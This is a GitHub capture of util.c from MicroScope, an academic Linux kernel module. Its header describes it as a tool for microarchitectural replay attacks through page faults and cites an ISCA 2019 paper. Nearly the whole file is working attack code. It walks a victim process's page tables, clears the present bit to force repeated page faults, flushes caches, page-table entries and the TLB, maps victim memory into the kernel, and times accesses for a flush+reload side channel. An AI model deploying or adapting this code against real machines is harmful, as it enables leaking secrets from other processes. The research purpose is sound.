-
Notifications
You must be signed in to change notification settings - Fork 8
/
util.c
697 lines (597 loc) · 18.5 KB
/
util.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
/*
* Author: Dimitrios Skarlatos
* Contact: skarlat2@illinois.edu - http://skarlat2.web.engr.illinois.edu/
*
* The microscope_mod is a kernel module that can be used to perform microarchitectural
* replay attacks using page faults.
*
* More details in :
* MicroScope: Enabling Microarchitectural Replay Attacks.
* Dimitrios Skarlatos, Mengjia Yan, Bhargava Gopireddy, Read Sprabery, Josep Torrellas,
* and Christopher W. Fletcher. Proceedings of the 46th Intl. Symposium on Computer
* Architecture (ISCA), Phoenix, USA, June 2019.
*
* util.c contains the implementation of all the required utility functions
* to perform the replay attack. Description of functions are in util.h
* The functions include:
* 1) tracking page tables of a requested virtual address
* 2) perform the nuke which completly flushes all
* the page table entries and data from the caches for a specified address.
* 3) create kernel level mapping to process level memory
* 4) perform a flush+reload side channel
* 5) other utility functions used for attacks
*/
#include <asm/apic.h>
#include <asm/cache.h>
#include <asm/cacheflush.h>
#include <asm/io.h>
#include <asm/mmu_context.h>
#include <asm/pgalloc.h>
#include <asm/pgtable.h>
#include <asm/tlb.h>
#include <asm/tlbflush.h>
#include <asm/uaccess.h>
#include <asm/uv/uv.h>
#include <linux/device.h>
#include <linux/file.h>
#include <linux/fs.h>
#include <linux/hrtimer.h>
#include <linux/hugetlb.h>
#include <linux/init.h>
#include <linux/interrupt.h>
#include <linux/kernel.h>
#include <linux/ktime.h>
#include <linux/memcontrol.h>
#include <linux/mm.h>
#include <linux/mman.h>
#include <linux/mmu_notifier.h>
#include <linux/module.h>
#include <linux/pagemap.h>
#include <linux/pid.h>
#include <linux/rmap.h>
#include <linux/sched.h>
#include <linux/slab.h>
#include <linux/string.h>
#include <linux/swap.h>
#include <linux/swapops.h>
#include <linux/syscalls.h>
#include <linux/timer.h>
MODULE_LICENSE("GPL v2");
#include "util.h"
void asm_clflush(uint64_t addr) { asm volatile("clflush (%0)" ::"r"(addr)); }
uint32_t asm_cctime(uint64_t addr) {
uint32_t cycles;
asm volatile(
"mov %1, %%r8\n\t"
"lfence\n\t"
"rdtsc\n\t"
"mov %%eax, %%edi\n\t"
"mov (%%r8), %%r8\n\t"
"lfence\n\t"
"rdtsc\n\t"
"sub %%edi, %%eax\n\t"
: "=a"(cycles) /*output*/
: "r"(addr)
: "r8", "edi");
return cycles;
}
void setup_nuke_structs(struct attack_info *info, uint64_t address) {
int ret = 0;
spinlock_t *ptlp;
pte_t *ptep;
uint64_t paddr;
info->nuke_addr = address;
info->nuke_tsk = current;
info->nuke_pid = current->pid;
info->nuke_mm = current->mm;
ret = map_general_address(info->nuke_tsk, info->nuke_mm, info->nuke_addr, 0,
&(info->nuke_kaddr));
if (ret <= 0 || (uint64_t)info->nuke_kaddr == 0) {
printk(KERN_INFO "setup_nuke_structs: Mapping nuke address failed\n");
info->error = 1;
return;
}
#ifdef DEBUG
printk(KERN_INFO "setup_nuke_structs: Mapped nuke_addr %p -> nuke_kaddr %p\n",
(uint64_t *)info->nuke_addr, info->nuke_kaddr);
#endif
map_pgt_4level_lock(info, &ptlp);
pte_unmap_unlock(info->nuke_ptep, ptlp);
paddr = get_physical(info->nuke_mm, address, &ptep, &ptlp, 1);
printk(KERN_INFO "Physical address of nuke %p -> %p\n", (uint64_t *)info->nuke_addr,
(uint64_t *)paddr);
}
void setup_monitor_structs(struct attack_info *info, uint64_t address, uint32_t index) {
int ret = 0;
spinlock_t *ptlp;
pte_t *ptep;
uint64_t paddr;
info->monitor_addr[index] = address;
info->monitor_addr_start[index] = address;
ret = map_general_address(info->nuke_tsk, info->nuke_mm, info->monitor_addr[index], 0,
&(info->monitor_kaddr[index]));
if (ret <= 0 || (uint64_t)info->monitor_kaddr[index] == 0) {
printk(KERN_INFO "setup_monitor_structs: Mapping monitor address failed\n");
info->error = 1;
return;
}
#ifdef DEBUG
printk(KERN_INFO "setup_monitor_structs: Mapped monitor_addr %p -> monitor_kaddr %p\n",
(uint64_t *)info->monitor_addr[index], info->monitor_kaddr[index]);
#endif
paddr = get_physical(info->nuke_mm, address, &ptep, &ptlp, 1);
printk(KERN_INFO "Physical address of monitor %p -> %p\n",
(uint64_t *)info->monitor_addr[index], (uint64_t *)paddr);
info->monitors++;
#ifdef DEBUG
print_info(info);
#endif
}
void pf_prep(struct attack_info *info, uint64_t address, uint32_t tot_monitor) {
int ret = 0, i = 0;
uint64_t old_time = 0, wait_time = 0;
pte_t *ptep;
spinlock_t *ptl;
if (info->nuke_ptep) {
// notify the page fault handler that this is the replay handle pte
set_attack(info->nuke_ptep, 1);
} else {
printk(KERN_INFO "pf_prep: Nuke pte is not mapped, aborting\n");
return;
}
// perform a nuke on the address and prepare a minor page fault
ret = nuke_lock(info->nuke_mm, address, &ptep, &ptl, 1);
if (ret) {
info->error = 1;
return;
}
// for (i = 0; i < tot_monitor; i++) {
// printk(KERN_INFO "Nuke_mod: Starting probing at address %p\n",
// (uint64_t *)info->monitor_addr[i]);
// flush the monitoring address
// use the application native VA
// clflush((uint64_t *)info->monitor_addr[i]);
// use our own kernel mapping
// clflush((uint64_t *)info->monitor_kaddr[0]);
//}
// wait some time for changes to take effect in caches and tlb
while (wait_time < 10000) {
old_time = rdtsc();
wait_time += rdtsc() - old_time;
}
}
void pf_prep_no_monitor_flush(struct attack_info *info, uint64_t address) {
int ret = 0;
uint64_t old_time = 0, wait_time = 0;
pte_t *ptep;
spinlock_t *ptl;
if (info->nuke_ptep) {
// notify the page fault handler that this is the replay handle pte
set_attack(info->nuke_ptep, 1);
} else {
printk(KERN_INFO "pf_prep: Nuke pte is not mapped, aborting\n");
return;
}
printk(KERN_INFO "pf_prep_no_monitor_flush: Preparing minor page fault\n");
// perform a nuke on the address and prepare a minor page fault
ret = nuke_lock(info->nuke_mm, address, &ptep, &ptl, 1);
if (ret) {
info->error = 1;
return;
}
// wait some time for changes to take effect in caches and tlb
while (wait_time < 10000) {
old_time = rdtsc();
wait_time += rdtsc() - old_time;
}
}
void pf_prep_lockless(struct attack_info *info, uint64_t address) {
int ret = 0;
uint64_t old_time = 0, wait_time = 0;
pte_t *ptep;
if (info->nuke_ptep) {
// notify the page fault handler that this is the replay handle pte
set_attack(info->nuke_ptep, 1);
} else {
printk(KERN_INFO "pf_prep: Nuke pte is not mapped, aborting\n");
return;
}
// perform a nuke on the address and prepare a minor page fault
ret = nuke_lockless(info->nuke_mm, address, &ptep, 1);
if (ret) {
info->error = 1;
return;
}
// wait some time for changes to take effect in caches and tlb
while (wait_time < 10000) {
old_time = rdtsc();
wait_time += rdtsc() - old_time;
}
}
void pf_redo(struct attack_info *info, uint64_t address) {
int ret = 0, i = 0;
uint64_t old_time = 0, wait_time = 0;
pte_t *ptep;
spinlock_t *ptl;
// perform a partial nuke on the address
ret = nuke_lockless_partial(info->nuke_mm, address, &ptep, 1);
if (ret) {
info->error = 1;
printk(KERN_INFO "pf_redo: Nuke_lockless_partial error");
return;
}
// wait some time for changes to take effect in caches and tlb
while (wait_time < 10000) {
old_time = rdtsc();
wait_time += rdtsc() - old_time;
}
}
int map_general_page(struct task_struct *tsk, struct mm_struct *mm, uint64_t addr,
int write, void **maddr) {
struct vm_area_struct *vma;
int ret;
struct page *page = NULL;
ret = get_user_pages(tsk, mm, addr, 1, write, 1, &page, &vma);
if (ret <= 0) {
printk("map_general_page: Error mapping page, %d\n", ret);
return ret;
}
*maddr = kmap(page);
return 1;
}
int map_general_address(struct task_struct *tsk, struct mm_struct *mm, uint64_t addr,
int write, void **maddr) {
struct vm_area_struct *vma;
int ret, offset;
struct page *page = NULL;
down_read(&mm->mmap_sem);
ret = get_user_pages(tsk, mm, addr, 1, write, 1, &page, &vma);
if (ret <= 0) {
printk(KERN_INFO "map_general_address: Error mapping address, %d\n", ret);
return ret;
}
offset = addr & (PAGE_SIZE - 1);
*maddr = kmap(page);
*maddr += offset;
up_read(&mm->mmap_sem);
return 1;
}
void user_memory_op(uint64_t addr, void *buf, int len, int write, struct page *page,
void *maddr, struct vm_area_struct *vma) {
int offset;
offset = addr & (PAGE_SIZE - 1);
if (write) {
copy_to_user_page(vma, page, addr, maddr + offset, buf, len);
set_page_dirty_lock(page);
} else {
copy_from_user_page(vma, page, addr, buf, maddr + offset, len);
}
}
int map_pgt_4level(struct attack_info *info) {
info->nuke_pgd = pgd_offset(info->nuke_mm, info->nuke_addr);
if (pgd_none(*info->nuke_pgd) || unlikely(pgd_bad(*info->nuke_pgd))) {
printk(KERN_INFO "map_pgt_4level: pgd failed");
goto out;
}
info->nuke_pud = pud_offset(info->nuke_pgd, info->nuke_addr);
if (pud_none(*info->nuke_pud) || unlikely(pud_bad(*info->nuke_pud))) {
printk(KERN_INFO "map_pgt_4level: pud failed");
goto out;
}
info->nuke_pmd = pmd_offset(info->nuke_pud, info->nuke_addr);
VM_BUG_ON(pmd_trans_huge(*info->nuke_pmd));
if (pmd_none(*info->nuke_pmd) || unlikely(pmd_bad(*info->nuke_pmd))) {
printk(KERN_INFO "map_pgt_4level: pmd failed");
goto out;
}
info->nuke_ptep = pte_offset_map(info->nuke_pmd, info->nuke_addr);
return 0;
out:
return -EINVAL;
}
int map_pgt_4level_lock(struct attack_info *info, spinlock_t **ptlp) {
info->nuke_pgd = pgd_offset(info->nuke_mm, info->nuke_addr);
if (pgd_none(*info->nuke_pgd) || unlikely(pgd_bad(*info->nuke_pgd))) {
printk(KERN_INFO "map_pgt_4level_lock: pgd failed");
goto out;
}
info->nuke_pud = pud_offset(info->nuke_pgd, info->nuke_addr);
if (pud_none(*info->nuke_pud) || unlikely(pud_bad(*info->nuke_pud))) {
printk(KERN_INFO "map_pgt_4level_lock: pud failed");
goto out;
}
info->nuke_pmd = pmd_offset(info->nuke_pud, info->nuke_addr);
VM_BUG_ON(pmd_trans_huge(*info->nuke_pmd));
if (pmd_none(*info->nuke_pmd) || unlikely(pmd_bad(*info->nuke_pmd))) {
printk(KERN_INFO "map_pgt_4level_lock: pmd failed");
goto out;
}
// currently ignore huge pages
// if (pmd_huge(*info->nuke_pmd)) {
// printk(KERN_INFO "hugepage failed");
// goto out;
// }
info->nuke_ptep =
pte_offset_map_lock(info->nuke_mm, info->nuke_pmd, info->nuke_addr, ptlp);
if (!info->nuke_ptep) {
printk(KERN_INFO "map_pgt_4level_lock: pte_offset failed");
goto out;
}
if (!pte_present(*info->nuke_ptep)) {
printk(KERN_INFO "map_pgt_4level_lock: present failed");
goto unlock;
}
return 0;
unlock:
pte_unmap_unlock(info->nuke_ptep, *ptlp);
out:
return -EINVAL;
}
uint64_t get_physical(struct mm_struct *mm, uint64_t address, pte_t **ptepp,
spinlock_t **ptlp, int present) {
pgd_t *pgd;
pud_t *pud;
pmd_t *pmd;
pte_t *ptep;
uint64_t paddr;
pgd = pgd_offset(mm, address);
if (pgd_none(*pgd) || unlikely(pgd_bad(*pgd))) {
printk(KERN_INFO "nuke_lock: pgd_offset failed");
goto out;
}
pud = pud_offset(pgd, address);
if (pud_none(*pud) || unlikely(pud_bad(*pud))) {
printk(KERN_INFO "nuke_lock: pud_offset failed");
goto out;
}
pmd = pmd_offset(pud, address);
VM_BUG_ON(pmd_trans_huge(*pmd));
if (pmd_none(*pmd) || unlikely(pmd_bad(*pmd))) {
printk(KERN_INFO "nuke_lock: pmd_offset failed");
goto out;
}
ptep = pte_offset_map_lock(mm, pmd, address, ptlp);
if (!ptep) {
printk(KERN_INFO "nuke_lock: pte_offset failed");
goto unlock;
}
paddr = pte_pfn(*ptep);
pte_unmap_unlock(ptep, *ptlp);
return paddr;
unlock:
pte_unmap_unlock(ptep, *ptlp);
out:
return -EINVAL;
}
int nuke_lock(struct mm_struct *mm, uint64_t address, pte_t **ptepp, spinlock_t **ptlp,
int present) {
pgd_t *pgd;
pud_t *pud;
pmd_t *pmd;
pte_t *ptep;
pgd = pgd_offset(mm, address);
if (pgd_none(*pgd) || unlikely(pgd_bad(*pgd))) {
printk(KERN_INFO "nuke_lock: pgd_offset failed");
goto out;
}
pud = pud_offset(pgd, address);
if (pud_none(*pud) || unlikely(pud_bad(*pud))) {
printk(KERN_INFO "nuke_lock: pud_offset failed");
goto out;
}
pmd = pmd_offset(pud, address);
VM_BUG_ON(pmd_trans_huge(*pmd));
if (pmd_none(*pmd) || unlikely(pmd_bad(*pmd))) {
printk(KERN_INFO "nuke_lock: pmd_offset failed");
goto out;
}
// currently ignore huge pages
// if (pmd_huge(*pmd)) {
// printk(KERN_INFO "nuke_lock: huge page found, aborting..");
// goto out;
// }
ptep = pte_offset_map_lock(mm, pmd, address, ptlp);
if (!ptep) {
printk(KERN_INFO "nuke_lock: pte_offset failed");
goto unlock;
}
if (!pte_present(*ptep)) {
printk(KERN_INFO "nuke_lock: page is not present, aborting..");
goto unlock;
}
// force a minor page fault
if (present) {
*ptep = pte_clear_flags(*ptep, _PAGE_PRESENT);
}
// flush data
asm_clflush(address);
// flush page tables
clflush(ptep);
clflush(pmd);
clflush(pud);
clflush(pgd);
// flush tlb
__flush_tlb_single(address);
pte_unmap_unlock(ptep, *ptlp);
return 0;
unlock:
pte_unmap_unlock(ptep, *ptlp);
out:
return -EINVAL;
}
int nuke_lockless(struct mm_struct *mm, uint64_t address, pte_t **ptepp, int present) {
pgd_t *pgd;
pud_t *pud;
pmd_t *pmd;
pte_t *ptep;
pgd = pgd_offset(mm, address);
if (pgd_none(*pgd) || unlikely(pgd_bad(*pgd))) {
printk(KERN_INFO "nuke_lockless: pgd_offset failed");
goto out;
}
pud = pud_offset(pgd, address);
if (pud_none(*pud) || unlikely(pud_bad(*pud))) {
printk(KERN_INFO "nuke_lockless: pud_offset failed");
goto out;
}
pmd = pmd_offset(pud, address);
VM_BUG_ON(pmd_trans_huge(*pmd));
if (pmd_none(*pmd) || unlikely(pmd_bad(*pmd))) {
printk(KERN_INFO "nuke_lockless: pmd_offset failed");
goto out;
}
// currently ignore huge pages
// if (pmd_huge(*pmd)) {
// printk(KERN_INFO "nuke_lockless: huge page found, abort");
// goto out;
// }
ptep = pte_offset_map(pmd, address);
if (!ptep) {
printk(KERN_INFO "nuke_lockless: pte_offset failed");
goto out;
}
if (!pte_present(*ptep)) {
printk(KERN_INFO "nuke_lock: page is not present, aborting..");
goto out;
}
// force a minor page fault
if (present) {
*ptep = pte_clear_flags(*ptep, _PAGE_PRESENT);
}
// flush data
asm_clflush(address);
// flush page tables
clflush(ptep);
clflush(pmd);
clflush(pud);
clflush(pgd);
// flush tlb
__flush_tlb_single(address);
return 0;
out:
return -EINVAL;
}
int nuke_lockless_partial(struct mm_struct *mm, uint64_t address, pte_t **ptepp,
int present) {
pgd_t *pgd;
pud_t *pud;
pmd_t *pmd;
pte_t *ptep;
pgd = pgd_offset(mm, address);
if (pgd_none(*pgd) || unlikely(pgd_bad(*pgd))) {
printk(KERN_INFO "nuke_lockless: pgd_offset failed");
goto out;
}
pud = pud_offset(pgd, address);
if (pud_none(*pud) || unlikely(pud_bad(*pud))) {
printk(KERN_INFO "nuke_lockless: pud_offset failed");
goto out;
}
pmd = pmd_offset(pud, address);
VM_BUG_ON(pmd_trans_huge(*pmd));
if (pmd_none(*pmd) || unlikely(pmd_bad(*pmd))) {
printk(KERN_INFO "nuke_lockless: pmd_offset failed");
goto out;
}
// currently ignore huge pages
// if (pmd_huge(*pmd)) {
// printk(KERN_INFO "nuke_lockless: huge page found, abort");
// goto out;
// }
ptep = pte_offset_map(pmd, address);
if (!ptep) {
printk(KERN_INFO "nuke_lockless: pte_offset failed");
goto out;
}
// if (!pte_present(*ptep)) {
// printk(KERN_INFO "nuke_lock: page is not present, aborting..");
// goto out;
// }
// force a minor page fault
// if (present) {
// *ptep = pte_clear_flags(*ptep, _PAGE_PRESENT);
// }
// flush data
// asm_clflush(address);
// flush page tables
clflush(ptep);
clflush(pmd);
clflush(pud);
clflush(pgd);
// flush tlb
//__flush_tlb_single(address);
return 0;
out:
return -EINVAL;
}
uint64_t check_side_channel_single(uint64_t address, uint32_t index) {
uint64_t access_time = 0;
access_time = asm_cctime(address);
#ifdef DEBUG
printk(KERN_INFO "side_channel: Page fault, %u, access time, %llu\n", index,
access_time);
#endif
return access_time;
}
void print_info(struct attack_info *info) {
int i;
if (info->nuke_tsk != NULL) {
printk(KERN_INFO "print_info: Victim task %p\n", info->nuke_tsk);
} else {
printk(KERN_INFO "print_info: Victim task is NULL\n");
}
if (info->nuke_mm != NULL) {
printk(KERN_INFO "print_info: Victim mm %p\n", info->nuke_mm);
} else {
printk(KERN_INFO "print_info: Victim mm is NULL\n");
}
if (info->nuke_pid != 0) {
printk(KERN_INFO "print_info: Victim pid %d\n", info->nuke_pid);
} else {
printk(KERN_INFO "print_info: Victim pid is not set\n");
}
if (info->nuke_addr != 0) {
printk(KERN_INFO "print_info: Victim nuke addr %p\n", (uint64_t *)info->nuke_addr);
} else {
printk(KERN_INFO "print_info: Victim nuke addr is not set\n");
}
if (info->nuke_kaddr != NULL) {
printk(KERN_INFO "print_info: Victim nuke kaddr %p\n", info->nuke_kaddr);
} else {
printk(KERN_INFO "print_info: Victim nuke kaddr is not set\n");
}
for (i = 0; i < info->monitors; i++) {
if (info->monitor_addr[i] != 0) {
printk(KERN_INFO "print_info: Victim monitor addr[%d] %p\n", i,
(uint64_t *)info->monitor_addr[i]);
} else {
printk(KERN_INFO "print_info: Victim monitor addr[%d] is not set\n", i);
}
if (info->monitor_kaddr[i] != NULL) {
printk(KERN_INFO "print_info: Victim monitor kaddr[%d] %p\n", i,
info->monitor_kaddr[i]);
} else {
printk(KERN_INFO "print_info: Victim monitor kaddr[%d] is not set\n", i);
}
}
if (info->nuke_pgd != NULL) {
printk(KERN_INFO "print_info: Victim nuke pgd %p\n", info->nuke_pgd);
} else {
printk(KERN_INFO "print_info: Victim nuke pgd is NULL\n");
}
if (info->nuke_pud != NULL) {
printk(KERN_INFO "print_info: Victim nuke pud %p\n", info->nuke_pud);
} else {
printk(KERN_INFO "print_info: Victim nuke pud is NULL\n");
}
if (info->nuke_pmd != NULL) {
printk(KERN_INFO "print_info: Victim nuke pmd %p\n", info->nuke_pmd);
} else {
printk(KERN_INFO "print_info: Victim nuke pmd is NULL\n");
}
if (info->nuke_ptep != NULL) {
printk(KERN_INFO "print_info: Victim nuke pte %p\n", info->nuke_ptep);
} else {
printk(KERN_INFO "print_info: Victim nuke pte is NULL\n");
}
}